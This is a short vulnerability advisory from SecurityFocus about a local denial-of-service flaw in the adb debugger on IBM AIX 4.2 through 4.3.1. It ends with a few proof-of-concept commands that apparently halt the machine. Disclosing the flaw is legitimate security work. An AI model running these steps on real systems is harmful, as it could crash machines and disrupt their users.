source: https://www.securityfocus.com/bid/520/info
adb is the debugger that ships with IBM's AIX operating system. It is possible for a local user to cause a local denial of service through exploiting the version of adb shipped with AIX 4.2 through 4.3.1. The consequence of adb being exploited is the machine being halted by a malicious local user.
gcc -g -o a.out hello-world.c
$ adb a.out -
adb
.main,5:s
a.out: running